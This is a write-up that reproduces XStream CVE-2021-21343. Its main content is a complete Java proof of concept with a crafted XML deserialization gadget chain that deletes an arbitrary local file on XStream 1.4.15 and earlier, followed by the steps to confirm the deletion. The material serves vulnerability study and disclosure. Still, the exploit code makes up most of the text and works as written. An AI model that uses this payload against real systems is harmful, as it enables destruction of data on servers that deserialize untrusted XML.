0x01 Vulnerability Details
XStream is a tool for converting between Java objects and XML.
XStream creates new instances based on type information contained in the stream processed during unmarshalling. An attacker can manipulate the processed input stream and replace or inject objects, which can result in the deletion of arbitrary files on the local host.
0X02 Affected Versions
XStream <= 1.4.15
0x03 Environment Setup
Use maven to create the environment.
0x04 POC Reference Link
Refer to the POC link provided by the official project: https://x-stream.github.io/CVE-2021-21343.html
0x05 POC Development
import com.thoughtworks.xstream.XStream;
public class CVE_2021_21343 {
public static void main(String[] args) {
String xml = "<java.util.PriorityQueue serialization='custom'>
" +
" <unserializable-parents/>
" +
" <java.util.PriorityQueue>
" +
" <default>
" +
" <size>2</size>
" +
" <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
" +
" <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
" +
" <packet>
" +
" <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
" +
" <dataSource class='com.sun.xml.internal.ws.encoding.MIMEPartStreamingDataHandler$StreamingDataSource'>
" +
" <part>
" +
" <dataHead>
" +
" <tail/>
" +
" <head>
" +
" <data class='com.sun.xml.internal.org.jvnet.mimepull.MemoryData'>
" +
" <len>3</len>
" +
" <data>AQID</data>
" +
" </data>
" +
" </head>
" +
" </dataHead>
" +
" <contentTransferEncoding>base64</contentTransferEncoding>
" +
" <msg>
" +
" <it class='java.util.ArrayList$Itr'>
" +
" <cursor>0</cursor>
" +
" <lastRet>1</lastRet>
" +
" <expectedModCount>4</expectedModCount>
" +
" <outer-class>
" +
" <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
" +
" <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
" +
" <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
" +
" <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
" +
" </outer-class>
" +
" </it>
" +
" <in class='java.io.FileInputStream'>
" +
" <fd/>
" +
" <channel class='sun.nio.ch.FileChannelImpl'>
" +
" <closeLock/>
" +
" <open>true</open>
" +
" <threads>
" +
" <used>-1</used>
" +
" </threads>
" +
" <parent class='sun.plugin2.ipc.unix.DomainSocketNamedPipe'>
" +
" <sockClient>
" +
" <fileName>E:\JavaProjects\CVE-2021-21351-test3\test.txt</fileName>
" +
" <unlinkFile>true</unlinkFile>
" +
" </sockClient>
" +
" <connectionSync/>
" +
" </parent>
" +
" </channel>
" +
" <closeLock/>
" +
" </in>
" +
" </msg>
" +
" </part>
" +
" </dataSource>
" +
" </message>
" +
" <satellites/>
" +
" <invocationProperties/>
" +
" </packet>
" +
" </indexMap>
" +
" </comparator>
" +
" </default>
" +
" <int>3</int>
" +
" <string>javax.xml.ws.binding.attachments.inbound</string>
" +
" <string>javax.xml.ws.binding.attachments.inbound</string>
" +
" </java.util.PriorityQueue>
" +
"</java.util.PriorityQueue>";
XStream xstream = new XStream();
xstream.fromXML(xml);
}
}
0x06 POC Reproduction
First, create a test.txt file, and then specify the absolute path of the created test.txt file in the POC.
As shown in the image: the lower-left arrow points to the created test.txt file, and the arrow on the right points to the absolute path of the test.txt file.
Run the code in the POC directly. As shown in the image, the specified test.txt file is deleted, proving that the vulnerability exists.
